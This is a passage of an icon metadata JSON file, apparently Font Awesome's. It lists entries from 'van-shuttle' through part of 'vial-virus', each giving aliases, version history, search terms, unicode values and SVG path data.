        "path": "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"
      }
    },
    "free": ["brands"]
  },
  "van-shuttle": {
    "aliases": {
      "names": ["shuttle-van"],
      "unicodes": {
        "composite": ["1f690"],
        "secondary": ["10f5b6"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airport",
        "bus",
        "machine",
        "minibus",
        "public-transportation",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5b6",
    "label": "Van Shuttle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 104v88h96V96H72c-4.4 0-8 3.6-8 8zm482 88L465.1 96H384v96H546zm-226 0V96H224v96h96zM592 384H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V104C0 64.2 32.2 32 72 32H192 352 465.1c18.9 0 36.8 8.3 49 22.8L625 186.5c9.7 11.5 15 26.1 15 41.2V336c0 26.5-21.5 48-48 48zm-64 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 104v88h96V96H72c-4.4 0-8 3.6-8 8zm482 88L465.1 96H384v96H546zm-226 0V96H224v96h96zM592 384H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V104C0 64.2 32.2 32 72 32H192 352 465.1c18.9 0 36.8 8.3 49 22.8L625 186.5c9.7 11.5 15 26.1 15 41.2V336c0 26.5-21.5 48-48 48zm-64 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "vault": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bank", "important", "lock", "money", "safe"]
    },
    "styles": ["solid"],
    "unicode": "e2c5",
    "label": "Vault",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V416c0 35.3 28.7 64 64 64H80l16 32h64l16-32H400l16 32h64l16-32h16c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 320a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-240a160 160 0 1 1 0 320 160 160 0 1 1 0-320zM480 221.3V336c0 8.8-7.2 16-16 16s-16-7.2-16-16V221.3c-18.6-6.6-32-24.4-32-45.3c0-26.5 21.5-48 48-48s48 21.5 48 48c0 20.9-13.4 38.7-32 45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V416c0 35.3 28.7 64 64 64H80l16 32h64l16-32H400l16 32h64l16-32h16c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 320a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-240a160 160 0 1 1 0 320 160 160 0 1 1 0-320zM480 221.3V336c0 8.8-7.2 16-16 16s-16-7.2-16-16V221.3c-18.6-6.6-32-24.4-32-45.3c0-26.5 21.5-48 48-48s48 21.5 48 48c0 20.9-13.4 38.7-32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "vector-square": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5cb"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["anchors", "lines", "object", "render", "shape"]
    },
    "styles": ["solid"],
    "unicode": "f5cb",
    "label": "Vector Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 80h32v32H368V80zM352 32c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32V160c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H352zM96 160c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32V160zM48 400H80v32H48V400zm320 32V400h32v32H368zM48 112V80H80v32H48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M368 80h32v32H368V80zM352 32c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32V160c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H352zM96 160c17.7 0 32-14.3 32-32H320c0 17.7 14.3 32 32 32V352c-17.7 0-32 14.3-32 32H128c0-17.7-14.3-32-32-32V160zM48 400H80v32H48V400zm320 32V400h32v32H368zM48 112V80H80v32H48z"
      }
    },
    "free": ["solid"]
  },
  "venus": {
    "aliases": {
      "unicodes": {
        "composite": ["2640"],
        "secondary": ["10f221"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["female", "female sign", "gender", "woman"]
    },
    "styles": ["solid"],
    "unicode": "f221",
    "label": "Venus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V384H128c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V349.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V384H128c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V349.1z"
      }
    },
    "free": ["solid"]
  },
  "venus-double": {
    "aliases": {
      "unicodes": {
        "composite": ["26a2"],
        "secondary": ["10f226"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Doubled Female Sign", "female", "gender", "lesbian"]
    },
    "styles": ["solid"],
    "unicode": "f226",
    "label": "Venus Double",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM368 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H224v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C78.1 334.1 16 262.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176zM344 318c14.6-15.6 26.8-33.4 36-53c18.8 14.4 42.4 23 68 23c61.9 0 112-50.1 112-112s-50.1-112-112-112c-25.6 0-49.1 8.6-68 23c-9.3-19.5-21.5-37.4-36-53C373.1 12.6 409.1 0 448 0c97.2 0 176 78.8 176 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H480v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1c-26.6-4.9-51.1-15.7-72-31.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM368 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H224v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C78.1 334.1 16 262.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176zM344 318c14.6-15.6 26.8-33.4 36-53c18.8 14.4 42.4 23 68 23c61.9 0 112-50.1 112-112s-50.1-112-112-112c-25.6 0-49.1 8.6-68 23c-9.3-19.5-21.5-37.4-36-53C373.1 12.6 409.1 0 448 0c97.2 0 176 78.8 176 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H480v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1c-26.6-4.9-51.1-15.7-72-31.1z"
      }
    },
    "free": ["solid"]
  },
  "venus-mars": {
    "aliases": {
      "unicodes": {
        "composite": ["26a4"],
        "secondary": ["10f228"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Interlocked Female and Male Sign",
        "female",
        "gender",
        "heterosexual",
        "male"
      ]
    },
    "styles": ["solid"],
    "unicode": "f228",
    "label": "Venus Mars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M176 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM352 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H208v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C62.1 334.1 0 262.3 0 176C0 78.8 78.8 0 176 0s176 78.8 176 176zM271.9 360.6c19.3-10.1 36.9-23.1 52.1-38.4c20 18.5 46.7 29.8 76.1 29.8c61.9 0 112-50.1 112-112s-50.1-112-112-112c-7.2 0-14.3 .7-21.1 2c-4.9-21.5-13-41.7-24-60.2C369.3 66 384.4 64 400 64c37 0 71.4 11.4 99.8 31l20.6-20.6L487 41c-6.9-6.9-8.9-17.2-5.2-26.2S494.3 0 504 0H616c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L545 140.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176c-50.5 0-96-21.3-128.1-55.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M176 288a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM352 176c0 86.3-62.1 158.1-144 173.1V384h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H208v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112c-17.7 0-32-14.3-32-32s14.3-32 32-32h32V349.1C62.1 334.1 0 262.3 0 176C0 78.8 78.8 0 176 0s176 78.8 176 176zM271.9 360.6c19.3-10.1 36.9-23.1 52.1-38.4c20 18.5 46.7 29.8 76.1 29.8c61.9 0 112-50.1 112-112s-50.1-112-112-112c-7.2 0-14.3 .7-21.1 2c-4.9-21.5-13-41.7-24-60.2C369.3 66 384.4 64 400 64c37 0 71.4 11.4 99.8 31l20.6-20.6L487 41c-6.9-6.9-8.9-17.2-5.2-26.2S494.3 0 504 0H616c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L545 140.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176c-50.5 0-96-21.3-128.1-55.4z"
      }
    },
    "free": ["solid"]
  },
  "vest": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e085"]
      }
    },
    "changes": ["5.15.0", "5.15.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["biker", "fashion", "style"]
    },
    "styles": ["solid"],
    "unicode": "e085",
    "label": "Vest",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M207.1 237.4L151.2 69.7C168.6 79.7 192.6 88 224 88s55.4-8.3 72.8-18.3L226.5 280.6c-1.6 4.9-2.5 10-2.5 15.2V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V270.5c0-9.5-2.8-18.7-8.1-26.6l-47.9-71.8c-5.3-7.9-8.1-17.1-8.1-26.6V128 54.3 48c0-26.5-21.5-48-48-48h-4.5c-.2 0-.4 0-.6 0c-.4 0-.8 0-1.2 0C311 0 295.7 9.7 285.7 18.8C276.4 27.2 257.2 40 224 40s-52.4-12.8-61.7-21.2C152.3 9.7 137 0 118.3 0c-.4 0-.8 0-1.2 0c-.2 0-.4 0-.6 0H112C85.5 0 64 21.5 64 48v6.3V128v17.5c0 9.5-2.8 18.7-8.1 26.6L8.1 243.9C2.8 251.8 0 261.1 0 270.5V464c0 26.5 21.5 48 48 48H176c9.9 0 19-3 26.7-8.1C195.9 492.2 192 478.5 192 464V295.8c0-8.6 1.4-17.1 4.1-25.3l11-33.1zM347.3 356.7l48 48c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-48-48c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0zm-294.6 48l48-48c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-48 48c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M207.1 237.4L151.2 69.7C168.6 79.7 192.6 88 224 88s55.4-8.3 72.8-18.3L226.5 280.6c-1.6 4.9-2.5 10-2.5 15.2V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V270.5c0-9.5-2.8-18.7-8.1-26.6l-47.9-71.8c-5.3-7.9-8.1-17.1-8.1-26.6V128 54.3 48c0-26.5-21.5-48-48-48h-4.5c-.2 0-.4 0-.6 0c-.4 0-.8 0-1.2 0C311 0 295.7 9.7 285.7 18.8C276.4 27.2 257.2 40 224 40s-52.4-12.8-61.7-21.2C152.3 9.7 137 0 118.3 0c-.4 0-.8 0-1.2 0c-.2 0-.4 0-.6 0H112C85.5 0 64 21.5 64 48v6.3V128v17.5c0 9.5-2.8 18.7-8.1 26.6L8.1 243.9C2.8 251.8 0 261.1 0 270.5V464c0 26.5 21.5 48 48 48H176c9.9 0 19-3 26.7-8.1C195.9 492.2 192 478.5 192 464V295.8c0-8.6 1.4-17.1 4.1-25.3l11-33.1zM347.3 356.7l48 48c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-48-48c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0zm-294.6 48l48-48c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-48 48c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "vest-patches": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e086"]
      }
    },
    "changes": ["5.15.0", "5.15.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["biker", "fashion", "style"]
    },
    "styles": ["solid"],
    "unicode": "e086",
    "label": "Vest Patches",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M151.2 69.7l55.9 167.7-11 33.1c-2.7 8.2-4.1 16.7-4.1 25.3V464c0 14.5 3.9 28.2 10.7 39.9C195 509 185.9 512 176 512H48c-26.5 0-48-21.5-48-48V270.5c0-9.5 2.8-18.7 8.1-26.6l47.9-71.8c5.3-7.9 8.1-17.1 8.1-26.6V128 54.3 48C64 21.5 85.5 0 112 0h4.5c.2 0 .4 0 .6 0c.4 0 .8 0 1.2 0c18.8 0 34.1 9.7 44.1 18.8C171.6 27.2 190.8 40 224 40s52.4-12.8 61.7-21.2C295.7 9.7 311 0 329.7 0c.4 0 .8 0 1.2 0c.2 0 .4 0 .6 0H336c26.5 0 48 21.5 48 48v6.3V128v17.5c0 9.5 2.8 18.7 8.1 26.6l47.9 71.8c5.3 7.9 8.1 17.1 8.1 26.6V464c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V295.8c0-5.2 .8-10.3 2.5-15.2L296.8 69.7C279.4 79.7 255.4 88 224 88s-55.4-8.3-72.8-18.3zM96 456a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM63.5 255.5c-4.7 4.7-4.7 12.3 0 17L79 288 63.5 303.5c-4.7 4.7-4.7 12.3 0 17s12.3 4.7 17 0L96 305l15.5 15.5c4.7 4.7 12.3 4.7 17 0s4.7-12.3 0-17L113 288l15.5-15.5c4.7-4.7 4.7-12.3 0-17s-12.3-4.7-17 0L96 271 80.5 255.5c-4.7-4.7-12.3-4.7-17 0zM304 280v8 32c0 8.8 7.2 16 16 16h32 8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M151.2 69.7l55.9 167.7-11 33.1c-2.7 8.2-4.1 16.7-4.1 25.3V464c0 14.5 3.9 28.2 10.7 39.9C195 509 185.9 512 176 512H48c-26.5 0-48-21.5-48-48V270.5c0-9.5 2.8-18.7 8.1-26.6l47.9-71.8c5.3-7.9 8.1-17.1 8.1-26.6V128 54.3 48C64 21.5 85.5 0 112 0h4.5c.2 0 .4 0 .6 0c.4 0 .8 0 1.2 0c18.8 0 34.1 9.7 44.1 18.8C171.6 27.2 190.8 40 224 40s52.4-12.8 61.7-21.2C295.7 9.7 311 0 329.7 0c.4 0 .8 0 1.2 0c.2 0 .4 0 .6 0H336c26.5 0 48 21.5 48 48v6.3V128v17.5c0 9.5 2.8 18.7 8.1 26.6l47.9 71.8c5.3 7.9 8.1 17.1 8.1 26.6V464c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V295.8c0-5.2 .8-10.3 2.5-15.2L296.8 69.7C279.4 79.7 255.4 88 224 88s-55.4-8.3-72.8-18.3zM96 456a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM63.5 255.5c-4.7 4.7-4.7 12.3 0 17L79 288 63.5 303.5c-4.7 4.7-4.7 12.3 0 17s12.3 4.7 17 0L96 305l15.5 15.5c4.7 4.7 12.3 4.7 17 0s4.7-12.3 0-17L113 288l15.5-15.5c4.7-4.7 4.7-12.3 0-17s-12.3-4.7-17 0L96 271 80.5 255.5c-4.7-4.7-12.3-4.7-17 0zM304 280v8 32c0 8.8 7.2 16 16 16h32 8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "viacoin": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f237",
    "label": "Viacoin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"
      }
    },
    "free": ["brands"]
  },
  "viadeo": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2a9",
    "label": "Viadeo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"
      }
    },
    "free": ["brands"]
  },
  "vial": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ea"],
        "secondary": ["10f492"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "chemist",
        "chemistry",
        "experiment",
        "lab",
        "sample",
        "science",
        "test",
        "test tube"
      ]
    },
    "styles": ["solid"],
    "unicode": "f492",
    "label": "Vial",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M342.6 9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4L28.1 342.6C10.1 360.6 0 385 0 410.5V416c0 53 43 96 96 96h5.5c25.5 0 49.9-10.1 67.9-28.1L448 205.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-32-32-96-96-32-32zM205.3 256L352 109.3 402.7 160l-96 96H205.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M342.6 9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4L28.1 342.6C10.1 360.6 0 385 0 410.5V416c0 53 43 96 96 96h5.5c25.5 0 49.9-10.1 67.9-28.1L448 205.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-32-32-96-96-32-32zM205.3 256L352 109.3 402.7 160l-96 96H205.3z"
      }
    },
    "free": ["solid"]
  },
  "vial-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "chemist",
        "chemistry",
        "not affected",
        "ok",
        "okay",
        "success",
        "test tube",
        "tube",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "e596",
    "label": "Vial Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V266.8c-20.2 28.6-32 63.5-32 101.2c0 25.2 5.3 49.1 14.8 70.8C189.5 463.7 160.6 480 128 480c-53 0-96-43-96-96V96C14.3 96 0 81.7 0 64zM96 96v96h64V96H96zM224 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L352 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V266.8c-20.2 28.6-32 63.5-32 101.2c0 25.2 5.3 49.1 14.8 70.8C189.5 463.7 160.6 480 128 480c-53 0-96-43-96-96V96C14.3 96 0 81.7 0 64zM96 96v96h64V96H96zM224 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L352 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "vial-virus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "coronavirus",
        "covid-19",
        "flue",
        "infection",
        "lab",
        "laboratory",
        "pandemic",
        "test",
        "test tube",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "e597",
    "label": "Vial Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
